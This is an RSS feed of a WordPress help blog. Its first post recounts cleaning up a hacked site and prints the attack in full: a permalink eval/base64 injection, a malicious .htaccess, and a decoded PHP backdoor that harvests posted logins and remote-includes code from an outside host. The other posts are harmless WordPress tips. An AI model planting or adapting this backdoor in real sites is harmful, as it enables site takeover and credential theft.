<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>I Like WordPress! &#187; PHP goodies</title>
	<atom:link href="http://ilikewordpress.com/category/on-php/feed/" rel="self" type="application/rss+xml" />
	<link>http://ilikewordpress.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Fri, 08 Apr 2011 21:30:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Cleaning Up the Aftermath of a Hacker Attack</title>
		<link>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/</link>
		<comments>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 17:52:28 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[hack attack]]></category>
		<category><![CDATA[malicious files]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=278</guid>
		<description><![CDATA[The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for. This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>The same project that led to the post <a href="http://ilikewordpress.com/274/loading-wordpress-from-index-php/">Loading WordPress From index.php</a> involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for.</p>
<p>This blog was hit recently by the same attack that has been in the news for the last few days. <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/">Lorelle on WordPress</a> wrote some things about it:</p>
<blockquote><p>There are two clues that your WordPress site has been attacked.</p>
<p>There are strange additions to the pretty permalinks, such as <code>example.com/category/post-title/%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%/</code>. The keywords are “eval” and “base64_decode.”</p>
<p>The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but <a title="Journey Etc - WordPress Permalink RSS Problems" href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">Journey Etc. has a possible solution</a>.</p></blockquote>
<p>This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -&gt; Permalinks ).</p>
<p>Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You&#8217;ll not see them, but Google does.</p>
<p>Looking a little deeper, I found evidence of <em><strong>another </strong></em>previous hack job. The server error log contained hundreds of these entries:<span id="more-278"></span></p>
<pre class="brush: plain; title: ; notranslate">
[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php
</pre>
<p>WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven&#8217;t found the answer to THAT question. But what I find next begins to shed some light&#8230;</p>
<p>I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):</p>
<p>.htaccess<br />
date.php<br />
time.php<br />
include.php</p>
<p>The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here&#8217;s what was in .htaccess file in the wp-content/header folder:</p>
<pre class="brush: plain; title: ; notranslate">
Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php
</pre>
<p>So what&#8217;s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.</p>
<p>And time.php (along with all the other added php files) is a nasty little bugger:</p>
<pre class="brush: php; title: ; notranslate">

&lt;?php
error_reporting(0);
$p=&quot;bcjihzzazbzgc&quot;;
eval(base64_decode(&quot;Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0=&quot;));
?&gt;
</pre>
<p>So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven&#8217;t taken the time to figure out what the class that the file defines <strong>does</strong>, but somehow I don&#8217;t think it&#8217;s anything nice. After decoding, this is the file contents:</p>
<pre class="brush: php; title: ; notranslate">

&lt;?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' =&gt; 0,'ino' =&gt; 0,'mode' =&gt; 0,'nlink' =&gt; 1,'uid' =&gt; 0,'gid' =&gt; 0,'rdev' =&gt; -1,'size' =&gt; 0,'atime' =&gt; 0,'mtime' =&gt; 0,'ctime' =&gt; 0,'blksize' =&gt; -1,'blocks' =&gt; 0);
function error($msg='not connected') {if ($this-&gt;options &amp; STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this-&gt;fullurl = $path;$this-&gt;options = $options;$this-&gt;defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this-&gt;error('missing host name');}$this-&gt;conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this-&gt;conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this-&gt;p_url = $url;$this-&gt;flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this-&gt;mode += 2;}$this-&gt;binary = (strpos($mode, 'b') !== false);$c = $this-&gt;context();if (!isset($c['method'])) {stream_context_set_option($this-&gt;context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this-&gt;context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this-&gt;context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this-&gt;context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this-&gt;context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this-&gt;conn_id) { fclose($this-&gt;conn_id);$this-&gt;conn_id = null;} }
function stream_read($bytes) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;flushed &amp;&amp; !$this-&gt;stream_flush()) { return false;} if (feof($this-&gt;conn_id)) { return '';} $bytes = max(1,$bytes);if ($this-&gt;binary) { return fread($this-&gt;conn_id, $bytes);} else { return fgets($this-&gt;conn_id, $bytes);} }
function stream_write($data) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;mode &amp; 2) { return $this-&gt;error('Stream is in read-only mode');} $c = $this-&gt;context();stream_context_set_option($this-&gt;context, 'http', 'method', (($this-&gt;defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this-&gt;context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this-&gt;conn_id) { return true;} if (!$this-&gt;flushed) { return false;} return feof($this-&gt;conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this-&gt;flushed) { return false;} if (!$this-&gt;conn_id) { return $this-&gt;error();} $c = $this-&gt;context();$this-&gt;flushed = true;$RequestHeaders = array($c['method'].' '.$this-&gt;p_url['path'].(empty($this-&gt;p_url['query']) ? '' : '?'.$this-&gt;p_url['query']).' HTTP/1.0', 'HOST: '.$this-&gt;p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this-&gt;binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this-&gt;conn_id, implode(&quot;\r\n&quot;, $RequestHeaders).&quot;\r\n\r\n&quot;) === false) { return false;} if (!empty($c['content']) &amp;&amp; fwrite($this-&gt;conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this-&gt;conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] &gt;= 301 &amp;&amp; $head[1] &lt;= 303) || $head[1] == 307) { $data = rtrim(fgets($this-&gt;conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this-&gt;conn_id, 300));} trigger_error($this-&gt;fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this-&gt;stream_close();return ($c['max_redirects'] &gt; $this-&gt;redirects++ &amp;&amp; $this-&gt;stream_open($new_location, $this-&gt;defmode, $this-&gt;options, null) &amp;&amp; $this-&gt;stream_flush());} $data = rtrim(fgets($this-&gt;conn_id, 1024));while (!empty($data)) { $http_response_header .= $data.&quot;\r\n&quot;;if (strpos($data,'Content-Length: ') !== false) { $this-&gt;stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this-&gt;stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this-&gt;stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this-&gt;conn_id, 1024));} if ($head[1] &gt;= 400) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this-&gt;stream_flush();return $this-&gt;stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this-&gt;context) { $this-&gt;context = stream_context_create();} $c = stream_context_get_options($this-&gt;context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST[&quot;l&quot;]) and isset($_POST[&quot;p&quot;])){if(isset($_POST[&quot;input&quot;])){$user_auth=&quot;&amp;l=&quot;.base64_encode($_POST[&quot;l&quot;]).&quot;&amp;p=&quot;.base64_encode(md5($_POST[&quot;p&quot;]));} else {$user_auth=&quot;&amp;l=&quot;.$_POST[&quot;l&quot;].&quot;&amp;p=&quot;.$_POST[&quot;p&quot;];}} else {$user_auth=&quot;&quot;;}if(!isset($_POST[&quot;log_flg&quot;])){$log_flg=&quot;&amp;log&quot;;}$rkht=1;if(version_compare(PHP_VERSION,'5.2','&gt;=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode(&quot;LnVzZXJzLmJpc2hlbGwucnU=&quot;).&quot;/?r_addr=&quot;.sprintf(&quot;%u&quot;, ip2long(getenv(&quot;REMOTE_ADDR&quot;))).&quot;&amp;url=&quot;.base64_encode($_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode(&quot;aHR0cDovLw==&quot;).$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode(&quot;aHR0cDI6Ly8=&quot;).$v)){}}
?&gt;
</pre>
<p>Anyway, that&#8217;s what I found, that&#8217;s what I had to clean up. <strong>Six and a half hours</strong> to go through all of the files looking for this thing, cleaning up as I went.</p>
<p>UPDATE:</p>
<p>Since writing this post, I&#8217;ve completed 4 more site cleanups &#8212; each averaging over 4 hours. Gets rather expensive, guys and girls.</p>
<p>Please keep your WordPress installs up to date. That&#8217;s the most efficient way to guard against this kind of maliciousness.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Loading WordPress From index.php</title>
		<link>http://ilikewordpress.com/274/loading-wordpress-from-index-php/</link>
		<comments>http://ilikewordpress.com/274/loading-wordpress-from-index-php/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 16:31:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[Troubleshooting WordPress issues]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[duplicate content]]></category>
		<category><![CDATA[index files]]></category>
		<category><![CDATA[url rewriting]]></category>
		<category><![CDATA[wordpress redirect]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=274</guid>
		<description><![CDATA[One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>, and the other as the plain domain name: <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. Note that this is a different problem than the trailing slash problem ( <strong><span style="color: #e7847e;">http://domain-name.com/</span></strong> vs. <strong><span style="color: #e7847e;">http://domain-name.com</span></strong> ) which WordPress also takes care of.</p>
<p>WordPress handles the index.php problem by rewriting requests for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. All well and good, and beneficial for most sites.</p>
<p>But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.<span id="more-274"></span></p>
<p>Here&#8217;s what happened: a client had me upgrade an old installation of SemioLogic&#8217;s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the &#8216;home&#8217; page of the site.</p>
<p>So you can maybe see where this is headed: the &#8216;home&#8217; page of the site is index.html. That&#8217;s what comes up when you ask for <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. The server is set to look for index.html <strong>first</strong>, then index.php if index.html isn&#8217;t there. So to get to the blog, you had to ask for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>.</p>
<p>But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off &#8220;index.php&#8221; from the request, and redirected to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>The server saw the request for the site index file and promptly served up index.html. So you couldn&#8217;t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.</p>
<p>Easy fix, says I. Settings -&gt; General, change the WordPress url to <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> from <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>.</p>
<p>Oops. Now all the permalinks have &#8216;index.php/&#8217; prepended: <strong><span style="color: #e7847e;">http://domain-name.com/index.php/i-want-this-post</span></strong>. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.</p>
<p>I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.</p>
<p>Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn&#8217;t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
/*
Plugin Name: Index.php fix
Plugin URI: http://ilikewordpress.com/loading-wordpress-from-index-php
Description: This plugin allows a blog installed at root to be addressed by /index.php. Remedies stripping of filename by includes/canonical.php
Author: Steve Johnson
Version: 1.0
Author URI: http://ilikewordpress.com/
*/

/*
*    Applies filter to redirect_canonical to defeat
*    stripping of index.php file
*/

function fix_index( $requested_url ) {
 if ( get_bloginfo( 'url' ) == $requested_url )
 return false;
}
add_filter( 'redirect_canonical', 'fix_index' );

?&gt;
</pre>
<p>And that&#8217;s all there is to it. Now when a browser asks for &#8216;index.php&#8217;, that&#8217;s what it gets instead of a redirection to /.</p>
<p>You could also put this in the functions.php file of a theme, but obviously it wouldn&#8217;t work if the theme were changed.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/274/loading-wordpress-from-index-php/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Using PHP Short Tags in Plugins Is a No-No</title>
		<link>http://ilikewordpress.com/213/using-php-short-tags-in-plugins-is-a-no-no/</link>
		<comments>http://ilikewordpress.com/213/using-php-short-tags-in-plugins-is-a-no-no/#comments</comments>
		<pubDate>Tue, 26 May 2009 01:23:23 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=213</guid>
		<description><![CDATA[I had a client call up over the weekend in a panic because her blog disappeared. &#8220;Help! All I see is a blank screen!&#8221; &#8220;What&#8217;s the last thing you did?&#8221; says I. &#8220;Updated my theme files,&#8221; says she. So after an hour&#8217;s worth of troubleshooting, I found the problem: Plugin and theme developers: please do [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I had a client call up over the weekend in a panic because her blog disappeared.</p>
<p>&#8220;Help! All I see is a blank screen!&#8221;</p>
<p>&#8220;What&#8217;s the last thing you did?&#8221; says I.</p>
<p>&#8220;Updated my theme files,&#8221; says she.</p>
<p>So after an hour&#8217;s worth of troubleshooting, I found the problem:</p>
<blockquote><p>Plugin and theme developers: please do us all a favor and do <strong>NOT </strong>use the short PHP opening tag (&lt;?) instead of the full length tag: &lt;?php.</p>
<p>Just because you have your development server set up to recognize short tags doesn&#8217;t mean that production servers do. In fact, many if not most of them <strong>don&#8217;t</strong>.</p></blockquote>
<p>Just a request. Yeah, I suppose I make some money fixing this stuff when you do that. But I&#8217;d rather not.</p>
<p>Bloggers: if you upload a plugin or theme and you get a fatal error saying &#8220;Unexpected $end in filename.php at line xx&#8221;, this is one of the first things to check.</p>
<p>Unfortunately, if your web server isn&#8217;t set up to allow short PHP tags and also doesn&#8217;t display errors (production servers shouldn&#8217;t display PHP errors or notices) you might just get the dreaded blank white &#8220;I&#8217;m dead&#8221; screen.</p>
<p>Just something to be aware of.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/213/using-php-short-tags-in-plugins-is-a-no-no/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How Does WordPress Work?</title>
		<link>http://ilikewordpress.com/60/how-does-wordpress-work/</link>
		<comments>http://ilikewordpress.com/60/how-does-wordpress-work/#comments</comments>
		<pubDate>Sat, 17 Jan 2009 14:44:14 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=60</guid>
		<description><![CDATA[WordPress is, at its most basic, very simple. It is a PHP script that displays a blog entry, or series of entries based on information contained in the URL. The display is controlled by PHP files that collectively make up a theme. A Basic Theme WordPress themes contain at least two files: index.php and style.css. [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>WordPress is, at its most basic, very simple. It is a PHP script that displays a blog entry, or series of entries based on information contained in the URL. The display is controlled by PHP files that collectively make up a <em>theme</em>.</p>
<h3>A Basic Theme</h3>
<p>WordPress themes contain at least two files: index.php and style.css. The file <em>index.php</em> controls what goes on the final web page, and <em>style.css</em> controls what the page content looks like. The only reason a style.css file is essential in WordPress themes (you don&#8217;t really NEED styles for a bare-bones XHTML web page) is that it contains information in a certain format that WordPress uses to gather theme details like the name, the author of the theme, and so on.</p>
<h3>The Index File</h3>
<p>The index file is where the magic happens. How much magic depends on the theme designer. The following code placed in an index.php file will generate a series of WordPress posts:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
get_header();
if (have_posts()) :
while (have_posts()) :
the_post();
the_content();
endwhile;
endif;
get_footer();
?&gt;
</pre>
<p>In English, what the above code says is, &#8220;first, get the header. Then, if the have_posts() function gets some posts, while there are posts in that list, display the content. Then, get the footer.&#8221;</p>
<p>Pretty simple, eh? Try it for yourself and see what it looks like. You can get more information on <a title="The WordPress Loop" href="http://codex.wordpress.org/The_Loop">the WordPress Loop</a> or see <a title="The WordPress Loop in action" href="http://codex.wordpress.org/The_Loop_in_Action">The Loop in action</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/60/how-does-wordpress-work/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

